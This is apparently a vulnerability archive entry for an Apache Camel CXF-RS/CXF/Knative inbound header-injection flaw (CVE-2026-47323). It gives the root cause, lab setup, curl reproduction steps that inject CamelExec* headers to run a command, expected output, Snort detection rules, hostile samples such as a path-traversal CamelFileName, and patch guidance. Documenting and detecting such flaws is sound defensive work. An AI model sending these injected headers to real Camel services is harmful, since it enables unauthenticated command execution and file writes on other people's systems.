Apache Camel CXF-RS / CXF / Knative Inbound Header Injection to RCE (CVE-2026-47323)
Published: 2026-11-27 • Researcher: Andrea Cosentino (GitHub: oscerd), Apache Camel committer, for the reproducer; vulnerability discovered and reported by Quac Tran
- Severity
- Critical
- CVE
- CVE-2026-47323 (Apache Camel security advisory)
- Category
- web
- Affected product
- Apache Camel: camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy) and camel-knative-http (KnativeHttpHeaderFilterStrategy)
- Affected versions
- From 3.18.0 before 4.14.6; from 4.15.0 before 4.18.2; 4.19.0. The reproducer pins **4.18.1**, the last affected 4.18.x release. Fixed in 4.14.6, 4.18.2 and 4.19.0
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
- https://camel.apache.org/security/CVE-2026-47323.html
- https://nvd.nist.gov/vuln/detail/CVE-2026-47323
- https://bugzilla.redhat.com/show_bug.cgi?id=2479869
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-47323.json
- https://github.com/oscerd/CVE-2026-47323
- https://camel.apache.org/components/4.18.x/exec-component.html
- https://camel.apache.org/components/4.18.x/cxfrs-component.html
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-17 (upstream commit b0f632e, “Add CVE-2026-47323 reproducer: camel-cxf-rest inbound header injection”) |
| Author / Researcher | Andrea Cosentino (GitHub: oscerd), Apache Camel committer, for the reproducer; vulnerability discovered and reported by Quac Tran |
| CVE / Advisory | CVE-2026-47323 (Apache Camel security advisory) |
| Category | web |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1, NVD: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); EPSS 0.016. Note the divergence: the Apache advisory itself rates the issue Medium, NVD rates it Critical. |
| Status | Weaponized (complete self-driving lab reproducer: victim CXF-RS route feeding a camel-exec sink, attacker driver that injects the headers, and an on-disk success check; not rebuilt or executed while preparing this entry) |
| Tags | RCE, header injection, Apache Camel, CXF-RS, CXF, Knative, JAX-RS, camel-exec, Java, unauthenticated, CWE-178, CWE-791 |
| Related | N/A (same class as the archived camel-jms entry pocs/network/2026-11-27_cve-2026-40860-camel-jms/, but a distinct CVE and component) |
Affected Target
| Field | Value |
|---|---|
| Software / System | Apache Camel: camel-cxf-rest (CxfRsHeaderFilterStrategy), camel-cxf-transport (CxfHeaderFilterStrategy) and camel-knative-http (KnativeHttpHeaderFilterStrategy) |
| Versions Affected | From 3.18.0 before 4.14.6; from 4.15.0 before 4.18.2; 4.19.0. The reproducer pins 4.18.1, the last affected 4.18.x release. Fixed in 4.14.6, 4.18.2 and 4.19.0 |
| Language / Platform | Java 17+, Maven 3.8+, Spring Boot 3.2.0, Apache CXF 4.1.5 (Undertow HTTP transport); Docker optional |
| Authentication Required | No — the injected headers are honoured regardless of who sends them; only the endpoint’s own authentication (if the application adds any) stands in the way |
| Network Access Required | Yes — a single HTTP request to the CXF-RS / CXF-SOAP / Knative listener (TCP/9000 for the CXF-RS endpoint in this reproducer; TCP/8080 fronts the demo controller) |
Summary
Apache Camel’s CXF-RS, CXF-SOAP and Knative HTTP header-filter strategies filter Camel-internal headers only on the outbound path and never configure the inbound filter set. An unauthenticated attacker can therefore send an ordinary HTTP request carrying Camel control headers such as the exec command executable and argument headers, and the CXF binding copies them onto the Camel exchange unfiltered. If the route forwards the message to a header-driven producer such as camel-exec or camel-file, the injected header overrides the value the developer configured, yielding remote code execution or arbitrary file writes as the Camel process. The issue is fixed in Camel 4.14.6, 4.18.2 and 4.19.0.
Vulnerability Details
Root Cause
The three affected strategies only register an outbound prefix filter:
| |
Because the inbound filter prefix set is empty, applyFilterToExternalHeaders() returns false for every header name, including the entire Camel* control namespace. DefaultCxfRsBinding.populateExchangeFromCxfRsRequest() walks the inbound HTTP headers and, on a false result, writes the header straight onto the Camel message:
| |
The camel-exec producer then deliberately prefers message headers over the endpoint URI. Per org.apache.camel.component.exec.ExecBinding, the header CamelExecCommandExecutable “overrides executable in the URI” and CamelExecCommandArgs “overrides any existing args in the URI”. The two together turn a fixed, harmless exec:echo?args=hello into arbitrary command execution. The same primitive with CamelFileName gives arbitrary file writes through camel-file.
Attack Vector
An HTTP request to any CXF-RS, CXF-SOAP or Knative-HTTP consumer whose route later reaches a header-driven producer. The attacker only adds request headers; the request path, method and body are irrelevant. In the reproducer:
GET /service/api/ping HTTP/1.1
Host: 127.0.0.1:9000
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwnedNo authentication, no session, no payload encoding, no gadget chain.
Impact
Arbitrary command execution with the privileges of the JVM running the Camel application (in the container image, root). Secondary impact via the same root cause: arbitrary file write or overwrite through camel-file (CamelFileName), and steering of any other producer that consumes Camel* control headers — for example changing a mail recipient, a JMS destination or an FTP path. Confidentiality, integrity and availability are all fully compromised, which is what drives the 9.8 NVD score.
Environment / Lab Setup
OS: Linux x86_64 (Docker host); eclipse-temurin:17-jre in the container
Target: Self-contained Spring Boot app (pom.xml) with Apache Camel 4.18.1
camel-cxf-rest + camel-exec, publishing a JAX-RS endpoint on port 9000
Attacker: The bundled /exploit/attack controller (or curl from the Docker host)
Tools: JDK 17, Maven 3.8+, curl, Docker / docker composeSetup Steps
| |
The application starts two listeners: the CXF-RS endpoint on TCP/9000 (/service/api/ping, the “victim”) and the Spring MVC demo controller on TCP/8080 (/exploit/attack, the “attacker”). Nothing else is required — there is no broker, no database and no external service.
Proof of Concept
Step-by-Step Reproduction
Build and start the reproducer — see the setup steps above; wait for the Camel context to report started.
Shell script1 2mvn clean package -DskipTests docker compose up -d --buildConfirm the route works normally — the configured command is a harmless
echo hello, so nothing is written to disk.Shell script1 2curl -s http://localhost:9000/service/api/ping ls -l /tmp/pwned # No such fileSend the same request with two injected headers — the route now runs
/usr/bin/touch /tmp/pwned.Shell script1 2 3 4curl -s http://localhost:9000/service/api/ping \ -H 'CamelExecCommandExecutable: /usr/bin/touch' \ -H 'CamelExecCommandArgs: /tmp/pwned' ls -l /tmp/pwned # created, owned by the JVM userOr let the bundled driver do steps 2 and 3 and diff the results — the controller deletes the marker, calls the endpoint cleanly, then calls it with the headers, and polls for the marker.
Shell script1curl -s http://localhost:8080/exploit/attackTear down —
docker compose down(the marker lives inside the container filesystem).
Exploit Code
See
src/main/java/com/example/ExploitController.java(the attacker driver),src/main/java/com/example/VictimRoute.java(the vulnerable route) andsrc/main/java/com/example/ApiResource.java(the JAX-RS contract) in this folder.
The entire exploit is the two headers in call():
| |
and the vulnerable route it is aimed at:
| |
Expected Output
marker before: false
=== 1) Legitimate request (no injected headers) ===
response: ok
marker created: false
=== 2) Injected CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned ===
response: ok
marker created: true
>>> Header-injection / RCE proof — an unauthenticated HTTP client made the route run an
>>> arbitrary command by injecting CamelExec* headers into a CXF-RS request (touch /tmp/pwned): trueNote the response body is ok in both cases — the injection is silent from the caller’s perspective, and the marker file is the only proof. This output is the upstream author’s documented result; it was not reproduced by this archive when the entry was written (execution is out of scope for archival).
Detection & Indicators of Compromise
Inbound HTTP requests carrying Camel* header names are the single strongest signal; legitimate external clients have no reason to send them.
GET /service/api/ping HTTP/1.1 200 - CamelExecCommandExecutable=/usr/bin/touch CamelExecCommandArgs=/tmp/pwned
CamelFileName: ../../../../tmp/evil.sh
CamelExecCommandWorkingDir: /tmpjava ... -> /usr/bin/touch /tmp/pwned
java ... -> /bin/sh -c "<anything>"Snort / Suricata (example):
alert http any any -> any any (msg:"CVE-2026-47323 Camel control-header injection attempt"; \
content:"CamelExecCommandExecutable"; http_header; nocase; sid:90047323; rev:1;)
alert http any any -> any any (msg:"CVE-2026-47323 Camel file header injection attempt"; \
content:"CamelFileName"; http_header; nocase; sid:90047324; rev:1;)Hunting queries: search WAF, CDN and ingress logs for any request header whose name starts with Camel (case-insensitive) originating from outside the trusted network.
Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade Apache Camel to 4.14.6, 4.18.2 or 4.19.0. The fixed strategies call setInFilterStartsWith(CAMEL_FILTER_STARTS_WITH), so inbound Camel* / camel* headers are dropped at the binding layer |
| Workaround | At the top of every route fed by CXF-RS, CXF-SOAP or Knative, strip the namespace: .removeHeaders("Camel*") and .removeHeaders("camel*") before any downstream producer. Do the same for any interceptor or route that copies external headers |
| Config Hardening | Require authentication/authorisation and network segmentation on CXF and Knative listeners; never expose a JAX-RS endpoint that feeds camel-exec, camel-file, camel-mail, camel-sql or camel-script to untrusted networks. Avoid camel-exec in request-driven routes |
| Detection | Alert on inbound headers matching ^[Cc]amel at the edge proxy or WAF |
References
Notes
Verdict: ingested as a genuine, non-malicious vulnerability reproducer. The repository contains real exploit logic that performs the attack (a header-injecting HTTP client aimed at a deliberately vulnerable route), plus the vulnerable route and JAX-RS contract needed to reproduce it. It is not a scanner, not a template, and contains no C2, persistence, evasion or credential-theft code. The only side effect of the exploit is creating a marker file (/usr/bin/touch /tmp/pwned), and the author explicitly frames it as a demonstration against a fixed CVE.
License: the upstream repository ships no LICENSE file. Only the README’s own disclaimer (“for security research and authorized testing only, for a publicly disclosed and fixed vulnerability”) applies, so treat the code as all-rights-reserved by the author rather than as Apache-2.0; the Apache Camel code it targets is Apache-2.0.
Limitations / caveats:
- The PoC was not built or executed while preparing this entry, so the expected output above is the author’s, not an independently confirmed result. The mechanism is nevertheless verified against upstream source:
ExecBinding.EXEC_COMMAND_EXECUTABLE/EXEC_COMMAND_ARGSdocument that these headers override the endpoint URI, and the advisory names them as the injected headers. - The demonstration is self-driving:
ExploitControllercalls127.0.0.1:9000from inside the same JVM, anddocker-compose.ymlonly publishes 8080. A genuinely remote attacker would send the identical headers to the CXF-RS port directly; port 9000 is not exposed to the host by default, so external exploitation requires that listener to be reachable. - The lab proves command execution with
touchplus an on-disk marker. It does not show a reverse shell or command output exfiltration; the response body is overwritten withokby the route, so a real attacker would use a blind, side-effect-based command (as here) or a callback. - Preconditions are significant and keep real-world exposure below the raw 9.8: the route must forward the message from a CXF-RS/CXF-SOAP/Knative endpoint into a header-driven producer, and the endpoint must be reachable. The Apache project’s own Medium rating reflects that reachability requirement, in contrast to NVD’s Critical.
- Trivially blocked by
.removeHeaders("Camel*")or by upgrading; the fix is a one-line change per strategy class. Related, already-fixed instances of the same pattern: CVE-2025-27636, CVE-2025-29891 (camel-core incoming header filter), CVE-2025-30177 (camel-undertow), CVE-2026-40453 (non-HTTP strategies).